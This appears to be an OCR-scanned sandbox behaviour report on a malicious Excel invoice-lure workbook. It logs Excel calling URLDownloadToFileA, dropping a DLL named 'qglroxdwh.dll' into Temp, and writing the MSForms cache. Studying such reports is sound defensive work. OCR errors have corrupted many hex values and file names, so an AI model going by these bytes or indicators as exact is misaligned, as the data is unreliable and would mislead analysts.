'C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding

0x13f400000
27641504 bytes

5FBOAOF93382ECD19F5F499A5CAA59F0

true

true

C, C++ or other language

high

Attributes Options

device

device

device

device

device

device

device

device

device

device

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

Completion

success or wait

success or wait

object name
collision

object name
collision

object name
collision

object name
collision

object name
collision

object name
collision

object name
collision

object name
collision

Count

Source
Address

7FEEAD326B4

7FEEACDFDDC

14012828C

14012828C

14012828C

14012828C

14012828C

14012828C

14012828C

14012828C

Symbol
CreateDirectoryA

unknown

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA
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File Path
C:\Users\user\AppData\Local\Temp\qglroxdwh.dIl

C:\Users\user\AppData\Local\Temp\1C66.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content.MSO\28C714EE.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\6FBOE417.emf

C:\Users\user\AppData\Local\Temp\4D1F0000

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet

Files\Content. MSO\6D1BBF2C.emf

C:\Users\user\AppData\Local\Temp\msohtmiclip

C:\Users\user\AppData\Local\Temp\msohtmiclip1

C:\Users\user\AppData\Local\Temp\msohtmiclip1\01

C:\Users\user\Desktop\~$INV7693947099-20210111388211.xIsm

C:\Users\user\Desktop\EC3F0000

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet

Files\Content. MSO\C5BE6A1A.emf

C:\Users\user\AppData\Local\Temp\1013866.cvr

C:\Users\user

C:\Users\user\AppData\Local

Copyright null 2021

Access

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic read

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic read |
generic write

read attributes |
synchronize |
generic write

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read attributes |
delete | syn
chronize |
generic read |
generic write

read attributes |
synchronize |
generic read |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic read |
generic write

read data or list
directory |
synchronize

read data or list
directory |
synchronize

Attributes

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

Options

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

sequential only
| synchronous
io non alert |
non directory f
ile | open no
recall

sequential only
| synchronous
io non alert |
non directory f
ile | open no
recall

synchronous io
non alert | non
directory file |
open no recall

sequential only
| synchronous
io non alert |
non directory f
ile | open no
recall

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file |
delete on close
| open no recall

synchronous io
non alert | non
directory file |
open no recall

sequential only
| synchronous
io non alert |
non directory f
ile | open no
recall

synchronous io
non alert | non
directory file |
open no recall

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

object name
collision

object name
collision

Count

Source
Address

14012828C

13F74EC83

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

14012828C

14012828C

14012828C

Symbol
URLDownloadToFileA

GetTempFileNameW

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA
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Source

File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Microsoft\Office\14.0\ read data or list device directory file |  object name 1 14012828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\28C714EE.emf success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\6FBOE417.emf success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\6D1BBF2C.emf success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\1C66.tmp success or wait 1 13F9BB818 DeleteFilew
C:\Users\user\AppData\Local\Temp\~DF9C5B630981403875.TMP success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\C5BE6A1A.emf success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\~DFB32B2C8D84E4140E.TMP success or wait 1 7FEEAC59ACO unknown
File Moved
Source
Old File Path New File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\4D1F0000 C:\Users\user\AppData\Local\Temp\xIsm.sheet.csv success or wait 1 7FEEAC59ACO unknown
C:\Users\user\Desktop\EC3F0000 C:\Users\user\Desktop\INV7693947099-20210111388211.xIsm  success or wait 1 7FEEAC59ACO unknown
File Written
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\Desktop\~$INV7693947099- unknown 55 05 41 6¢ 62 75 73 .user success or wait 1 13F64F526 WriteFile
20210111388211.xIsm 2020202020
2020202020
2020202020
2020202020
2020202020
2020202020
2020202020
2020202020
2020202020
20202020
C:\Users\user\Desktop\~$INV7693947099- unknown 110 050041006c00 ..Albus.............. success or wait 1 13F64F591 WriteFile
20210111388211.xIsm 6200750073 ...
0020002000  ..............
20 0020 00 20
00 20 00 20 00
200020 00 20
00 20 00 20 00
200020 00 20
00 20 00 20 00
200020 00 20
00 20 00 20 00
20002000 20
00 20 00 20 00
200020 00 20
00 20 00 20 00
200020 00 20
00 20 00 20 00
200020 00 20
00 20 00 20 00
200020 00 20
00 20 00 20 00
20 00 20 00
C:\Users\user\AppData\Local\Te unknown 4 4d 53 46 54 MSFT success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 02 00 01 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 09 04 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 2 51 00 Q. success or wait 1 7FEEACDFDDC unknown

mp\Excel8.0\MSForms.exd
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Te unknown 2 00 00 . success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 2 02 00 . success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 2 00 00 . success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 4 06 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 4 91 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 4 d0 02 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 4 08 24 00 00 $.. success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 4 2400 00 00 $... success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 4 ff ff ff ff success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 4 20 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 4 80 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 4 0d 00 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 4 a2 01 00 00 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
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Source

File Path Offset Length Value Count Address Symbol

00 00 00 00 64

Completion

C:\Users\user\AppData\Local\Te unknown 580 success or wait 1 7FEEACDFDDC unknown

mp\Excel8.0\MSForms.exd

00 00 00 c8 00 00

00 2¢ 01 00 00 90 ...
010000f40100 ....°
0058 02 00 00 bc ...

02 00 00 20 03
00 00 84 03 00

00e80300004c ....

04 00 00 b0 04
00 00 14 05 00
00 78 05 00 00

dc 05 00 00 40

06 00 00 a4 06
00 00 08 07 00
00 6¢ 07 00 00 dO
07 00 00 34 08
00 00 98 08 00
00 fc 08 00 00 60
09 00 00 c4 09

00 00 28 0a 00
00 8c 0a 00 00 fO
0a 00 00 54 Ob
00 00 b8 Ob 00
00 1c Oc 00 00 80
0c 00 00 e4 Oc 00
00 48 0d 00 00

ac 0d 00 00 10
Oe 00 00 74 Oe
00 00 d8 Oe 00
00 3c 0f 00 00 a0
0f 00 00 04 10 00
00 68 10 00 00 cc
10000030 11
00 00 94 11 00
00 f8 11 00 00 5¢
1200 00 c0 12 00
00 24 13 00 00
88130000 ec 13
00 00 50 14 00
00 b4 14 00 00
18 1500 00 7¢c
1500 00 €0 15
00 00 44 16 00
00 a8 16 00 00 Oc
170000 70 17
00 00 d4 17 00
00 38 18 00 00 9c
18 00

C:\Users\user\AppData\Local\Te unknown 16 ff ff ff ffa4 38 00 ..... 8 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 ff ff ff ff Of 00

00 00
C:\Users\user\AppData\Local\Te unknown 16 fiff ffff00 14 00 .....ccoceeeee success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 98 13 00 00 of

00 00 00
C:\Users\user\AppData\Local\Te unknown 16 ff ff ff ff 480000 ...H..4..... success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 34 00 00 00 of

00 00 00
C:\Users\user\AppData\Local\Te unknown 16 ffffffff0006 00 .......cc.c.. success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 do 03 00 00 of

00 00 00
C:\Users\user\AppData\Local\Te unknown 16 ffff ffff800000 .....coceeeee success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 ff ff ff ff Of 00

00 00
C:\Users\user\AppData\Local\Te unknown 16 ffff ffff00 1000 ....ccoeeeeeee success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 a0 Oe 00 00 Of

00 00 00
C:\Users\user\AppData\Local\Te unknown 16 ffffffff000200 .............. success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 ff ff ff ff Of 00

00 00
C:\Users\user\AppData\Local\Te unknown 16 ffffffff0078 00 ... Xl success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 f8 49 00 00 Of

00 00 00
C:\Users\user\AppData\Local\Te unknown 16 ffff ffffO00b 00 ........ T success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 54 06 00 00 Of

00 00 00
C:\Users\user\AppData\Local\Te unknown 16 ffffffff002000 ....... P.... success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 50 19 00 00 of

00 00 00
C:\Users\user\AppData\Local\Te unknown 16 ffffffff000000 .......ccoeee success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 ff ff ff ff Of 00

00 00
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Te unknown 16 ffff ffff200000 ... .......... success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 18 00 00 00 of
00 00 00

C:\Users\user\AppData\Local\Te unknown 16 ff ff ff ff 00 00 00
mp\Excel8.0\MSForms.exd 00 ff ff ff ff Of 00
00 00

success or wait 1 7FEEACDFDDC unknown

C:\Users\user\AppData\Local\Te unknown 16 ffff ffff 0000 00 .....ceeeeeee success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 ff ff ff ff Of 00
00 00

C:\Users\user\AppData\Local\Te unknown 16 ffff ffff 0000 00 ....ccoeeeeeee success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 00 ff ff ff ff Of 00
00 00

C:\Users\user\AppData\Local\Te unknown 14500 26 21 00 00 ff ff ff &!...cooovveriiiiiiiiinnee. success or wait 1 7FEEACDFDDC unknown

mp\Excel8.0\MSForms.exd ff 00 00 00 00 00
00 00 00 03 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 18 00 00 00
00 00 00 00 14
00 00 00 00 00
00 00 ff ff ff ff 00
00 00 00 00 00
00 00 ff ff ff ff 00
00 00 00 04 00
00 00 03 00 03
80 00 00 00 00
00 00 00 00 ff ff ff
ff 26 21 01 00 ff ff
ff ff 00 00 00 00
00 00 00 00 03
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 30 00 00
00 00 00 00 00 2¢
00 00 00 00 00
00 00 ff ff ff ff 00
00 00 00 00 00
00 00 ff ff ff ff 00
00 00 00 04 00
00 00 03 00 03
80 00 00 00 00
00 00 00 00 ff ff ff
ff a6 10 02 00 ff ff
ff ff 00 00 00 00
00 00 00 00 03
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 48 00 00
00 00 00 00 00
4400 00

C:\Users\user\AppData\Local\Te unknown 128 c80d 00 00 f8 07 .

mp\Excel8.0\MSForms.exd 00 00 28 0e 00
00 10 08 00 00
40 Oe 00 00 28
08 00 00 78 Oc 00
00 40 08 00 00
do Ob 00 00 98
0d 00 00 e8 Ob
00 00 98 0a 00
00 68 0d 00 00 cO
0Oc 00 00 18 Oc 00
00 88 08 00 00
90 09 00 00 10
0Oe 00 00 88 Oe
00 00 58 Ob 00
00 40 Ob 00 00
28 0b 00 00 70
0Oe 00 00 08 0d
00 00 88 05 00
00 58 Oe 00 00
90 Oc 00 00 e0 Oa
00 00 50 0d 00
00 20 0d 00 00
b8 Ob 00 00 d8 Oc
00 00

success or wait 1 7FEEACDFDDC unknown
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset Length Value

unknown 3744

unknown 976

ae 77 aa 8d 9b

Ascii

W.. IL9EG.T......... CPf..

b8 6c4cal393a ...
45 47 05 1e 54 fe .0..

ff ff ff ff ff ff ff O1

4350 66 Of be 1a ....

10 8b bb 00 aa

00 30 Oc ab 00 00 .k.i

00 00 ff ff ff ff 13
43 50 66 0f be 1a
10 8b bb 00 aa
00 30 Oc ab 64 00
00 00 00 00 00
00 0b 43 50 66 Of
be 1a 10 8b bb
00 aa 00 30 Oc ab
€8 00 00 00 ff ff ff
ff 02 €0 6 be 74
a8 1a 10 8b ba
00 aa 00 30 Oc
ab 2c 01 00 00 ff
ff ff ff 03 e0 f6 be
74 a8 1a 10 8b
ba 00 aa 00 30 Oc
ab 90 01 00 00 ff
ff ff ff 20 47 bb 10
97 f7ce 11 b9 ec
00 aa 00 6b 1a
69 f4 01 00 00 ff
ff ff ff €0 03 Oc 57
97 f7 ce 11 b9 ec
00 aa 00 6b 1a
69 58 02 00 00 ff
ff ff ff 90 f5 72 ec
7513 ce 11 b9 e8
00 aa 00 6b 1a
69 bc 02 00 00 ff
ff ff ff 70 23 b0 82
bc b5 cf 11 81 0f
00 a0 c9 03 00 74
20 03 00 00 ff ff ff
ff 71 23 b0 82 bc
b5 cf 11 81 0f 00
a0 c9 03 00

2003 00 00 01
00 00 00 ff ff ff ff
ff ff ff ff 84 03 00
00 01 00 00 00 ff
ff ff ff ff ff ff ff €8
03 00 00 01 00
00 00 ff ff ff ff ff ff
ff ff 4c 04 00 00

01 00 00 00 ff ff ff .

ff ff f ff ff bO 04
00 00 01 00 00
00 ff ff ff ff ff ff ff ff
bc 02 00 00 01
00 00 00 ff ff ff ff
ff ff ff ff d8 Oe 00
00 01 00 00 00 ff
ff ff ff 70 00 00 00
68 10 00 00 03
00 00 00 ff ff ff ff
ff ff ff ff 04 10 00
00 01 00 00 00 ff
ff ff ff 90 00 00 00
3011000003
00 00 00 ff ff ff f
ff ff ff ff a0 Of 00
00 01 00 00 00 ff
ff ff ff bO 00 00 00
94 11 00 00 03
00 00 00 ff ff ff ff
ff ff ff ff 64 19 00
00 01 00 00 00 ff
ff ff ff dO 00 00 00
28230000 03
00 00 00 ff ff ff ff
ff ff ff ff 8 19 00
00 01 00 00 00 ff
ff ff ff f0 00 00 00
f0 23 00 00 03 00
00 00 ff f ff ff ff ff
ff

Completion

success or wait

success or wait

Source

Count Address Symbol
1 7FEEACDFDDC unknown
1 7FEEACDFDDC unknown
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset Length Value

unknown 5016

unknown 52

00 00 01 03 00
00 00 00 c8 0d 00
0001000103
00 00 00 00 e0
0d 00 00 02 00
00 01 00 00 00
00 00 00 00 00
03 00 00 01 00
00 00 00 00 00
00 00 04 00 00
01 00 00 00 00
00 00 00 00 05
00 00 01 00 00
00 00 01 00 00
00 06 00 00 01
00 00 00 00 02
00 00 00 07 00
00 01 00 00 00
00 00 00 00 00
08 00 00 01 00
00 00 00 00 00
00 00 09 00 00
01 00 00 00 00
00 00 00 00 Oa
00 00 01 00 00
00 00 01 00 00
00 Ob 00 00 01
00 00 00 00 02
00 00 00 Oc 00 00
01 00 00 00 00
00 00 00 00 0d
00 00 01 00 00
00 00 00 00 00
00 Oe 00 00 01
00 00 00 00 00
00 00 00 Of 00 00
01 00 00 00 00
01 0000 00 10
00 00 01 00 00
00 00 02 00 00
0011 0000 01
00 00 00 00 00
00 00 00 12 00
00 01 00 00 00
00 00 00 00 00
13 00 00 01 00
00 00 00 00 00
00 00 14 00 00
01 00 00 00 00
01 0000 00 15
00 00

b0 0d 00 00 00
00 00 00 02 00
0000 2d 00 73
74 64 6f 6¢ 65 32
2e 74 6¢ 62 57 57
57 10 Oe 00 00
00 00 00 00 01
00 07 00 25 00
45 58 43 45 4c 2e
45 58 45 57

.stdole2.tlbWWW..

%.EXCEL.EXEW

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEEACDFDDC unknown

7FEEACDFDDC unknown
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset Length Value

unknown 512

8041 00 00 48
220000 64 30
00 00 b4 49 00
00 f0 47 00 00 80
3c 00 00 00 2e
00 00 64 45 00
0038410000c8
47 000090 30
00 00 d8 49 00
00 b4 29 00 00
d8 48 00 00 7c 46
00 00 6¢ 3d 00
00 2c 42 00 00 fO
210000 d8 3b
00 00 50 47 00
00 54 46 00 00
54 43 00 00 54
3e 00 00 e0 2¢c 00
00 6¢ 3¢ 00 00 4c
3a 00 00 2c 44 00
00 78 38 00 00
b4 45 00 00 24
47 00 00 8c 45
00 00 1c 43 00 00
20 49 00 00 90
49 00 00 34 30
00 00 30 40 00
00 9c 42 00 00 b8
4400 00 28 3e
00 00 b8 3f 00 00
40 42 00 00 20
4500 00 a4 47
00 00 b0 43 00
00 c8 32 00 00 20
410000 18 48
00 00 68 44 00
00 c8 45 00 00 10
26 00 00 c8 2f 00
00 54 2b 00 00

18 32 00 00 c0 41
00 00 c0 40 00 00
a0 34 00 00 b4
2b 00 00 a8 40
00 00 74 3b 00
00 b8 2c 00 00 78
45 00 00 d8 40
00 00 30 46 00
00 08 3f 00

Ascii Completion

A.H"..dO...I..G...<....dE success or wait
L8A..G...0...I...)..H..|F..

I=..,B .PG.TF.TC..T
>..,.<.Li.,D..x8...E.$G..

.E...C.. 1...1..40..0@...B...D
.(>..?.@B..E..G...C..2..
A..H.hD..E..&..[.T+..2

LAL@.AL @,

xE...@..0F...2.

Source

Count Address Symbol

1

7FEEACDFDDC unknown
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset

Length Value Ascii

unknown 18936  ff ff ff ff ff ff ff ff 07 .......... C.MSFormsW.........

0043 0f4d 5346 8

6f 72 6d 7357 00 ..OLE_COLORWWWA......
00 00 00 ff ff ff ff ..8(0OLE_

09 38 e4 f5 4f 4c  HANDLEWW......... 8.WOL
45 5f 43 4f 4c 4f  E_OPTEXC

52575757 64  LUSIVE,........ 8..IFontWww
00 00 00 ff ff ff ff  W.........
Oa 38 28 6f 4f 4c  (U.Font..
45 5f 48 41 4e 44 EffectX..
4c 455757 ¢800 ..... 8.kIDataAutoWrapper
00 00 ff ff ff ff 10 ...

38 c2 57 4f 4c 45 ...8.VIReturnintegerWW....
5f 4f 50 54 45 58 .....8.9IReturnBool

43 4¢ 55 53 49

56 45 2¢ 01 00 00

ff ff ff ff 05 38 Of

ce 49 46 6f 6e 74

57 57 57 90 01

00 00 ff ff ff ff 04

28 55 10 46 6f 6e

74 f4 01 00 00 ff

ff ff ff Oc 38 a9 2a

66 6d 44 72 6f 70

45 66 66 65 63

74 58 02 00 00 ff

ff ff ff 08 38 8¢ 62

66 6d 41 63 74

69 6f 6e bc 02 00

00 ff ff ff ff 10 38

8f 6b 49 44 61 74

614175 74 6f 57

726170 70 65

72 20 03 00 00 ff

ff ff ff Oe 38 dc 56

4952 65 74 75

72 6e 49 6e 74

65 67 65 72 57

57 84 03 00 00 ff

ff ff ff Oe 38 e0 39

4952 65 74 75

72 6e 42 6f 6f 6¢

....8.*fmDrop

...8.bfmAction....

Completion

success or wait

Source
Count Address

Symbol

1 7FEEACDFDDC unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\Local\Te unknown 1620 2200 4d 69 63 ".Microsoft Forms 2.0 success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 72 6f 73 6f 66 74 Object L

20 46 6f 72 6d 73 ibrary..C:\Windows\system
20 32 2e 30 20 4f 32\fm

62 6a 656374  20.hlpWW..NoneWW..Cop
20 4c 69 62 72 61 yWW..Move

7279 1c 00 43 3a WW..CopyOrMove..CutW
5c 57 69 6e 64 6f WW..PasteW

77 73 5¢ 7379 73 ..DragDropWW..InheritWW
74 65 6d 33 32 5¢ W..OnWW

66 6d32302e  WW..Off WWW..Defaultw
68 6¢ 70 57 57 04 WW..Arrow\W

00 4e 6f 6e 65 57 ..CrossW..IBeamW..SizeN
57 04 00 43 6f 70 ESWWW..
7957570400  SizeNS..SizeNWSEWW..
4d 6f 76 65 57 57 SizeWE..Up

0a 00 43 6f 70 79 ArrowWWW..HourG

4f 72 4d 6f 76 65

0300437574

57 57 57 05 00

50 61 73 74 65

57 08 00 44 72

61 67 44 72 6f 70

57 57 07 00 49

6e 68 65 72 69

74 57 57 57 02

00 4f 6e 57 57 57

57 03 00 4f 66 66

57 57 57 07 00

44 65 66 61 75 6C

74 57 57 57 05

004172726f77

57 05 00 43 72 6f

73 73 57 05 00

49 42 65 61 6d

57 08 00 53 69

7a 65 4e 45 53

57 57 57 06 00

53 69 7a 65 4e

53 08 00 53 69

7a 65 4e 57 53

4557 57 06 00

53 69 7a 6557

45 07 00 55 70

4172 72 6f 77 57

57 57 09 00 48 6f

7572 47
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Source

File Path Offset Length Value Completion Count Address Symbol

C:\Users\user\AppData\Local\Te unknown 6480 1a 00 08 40 08
mp\Excel8.0\MSForms.exd 00 08 80 1a 00

06 40 06 00 06

80 1a 00 Ob 40

Ob 00 Ob 80 1a

00 02 40 02 00

02 80 1d 00 ff 7f

64 00 00 00 1a

00ff 7200000 ............ m..

00 1d 00 ff 7f 2¢

01 00 00 1a 00 ff

7f30 00 00 00 1a

00 ff 7f 38 00 00

00 1d 00 ff 7f 19

00 00 00 1a 00 ff

7f 48 00 00 00 1a

00 00 40 18 00

00 80 1a 00 fe 7f

58 00 00 00 1a

00 13 40 17 00

13 80 1d 00 ff 7f

250000 00 1a

00 ff 7f 70 00 00

00 1a 00 10 40

1000 10 80 1a

00 fe 7f 80 00 00

00 1a 00 03 40

03 0003 80 1d

00 ff 7f 31 00 00

00 1a 00 ff 7f 98

00 00 00 1d 00 ff

7f 3d 00 00 00 1a

00 ff 7f a8 00 00

00 1a 00 Oc 40 Oc

00 Oc 80 1d 00 ff

7f 49 00 00 00 1a

00 ff 7f cO 00 00

00 1d 00 03 00 f4

01 00 00 1d 00 ff

7f55 00 00 00 1la

00 ff 7f d8 00 00

00 1d 00 ff 7f 61

00 00 00 1a 00 ff

7f e8 00 00 00 1d

00 ff 7f 6d 00 00

success or wait 1 7FEEACDFDDC unknown

C:\Users\user\AppData\Local\Te unknown 24 03 00 fe ff ff ff 57 ...... WW.....WW.....WW  success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd 57 03 00 ff ff ff ff

57 57 03 00 cd ef

ff ff 57 57

C:\Users\user\AppData\Local\Te unknown 4 2403 00 00 $... success or wait 107 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 2 24 00 $. success or wait 3625 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te unknown 22 00 00 19 00 19

mp\Excel8.0\MSForms.exd 80 00 00 00 00
Oc 00 4c 00 11 44
01 00 01 00 00
00

success or wait 3426 T7FEEACDFDDC unknown

C:\Users\user\AppData\Local\Te unknown 12 00000000hb0  ............ success or wait 1841 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd Oe 00 00 0a 00
00 00

C:\Users\user\AppData\Local\Te unknown 88 0000000000  cooeeeieieieeie e success or wait 107 7FEEACDFDDC unknown

mp\Excel8.0\MSForms.exd 00 00 00 02 00
00 00 02 00 00
00 03 00 00 00
03 00 00 00 04
00 00 00 04 00
00 00 05 00 00
00 05 00 00 00
06 00 00 00 06
00 00 00 07 00
00 00 07 00 00
00 08 00 00 00
08 00 00 00 10
00 01 60 11 00
01 60 12 00 01
60 13 00 01 60
14 00 01 60 15
00 01 60
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

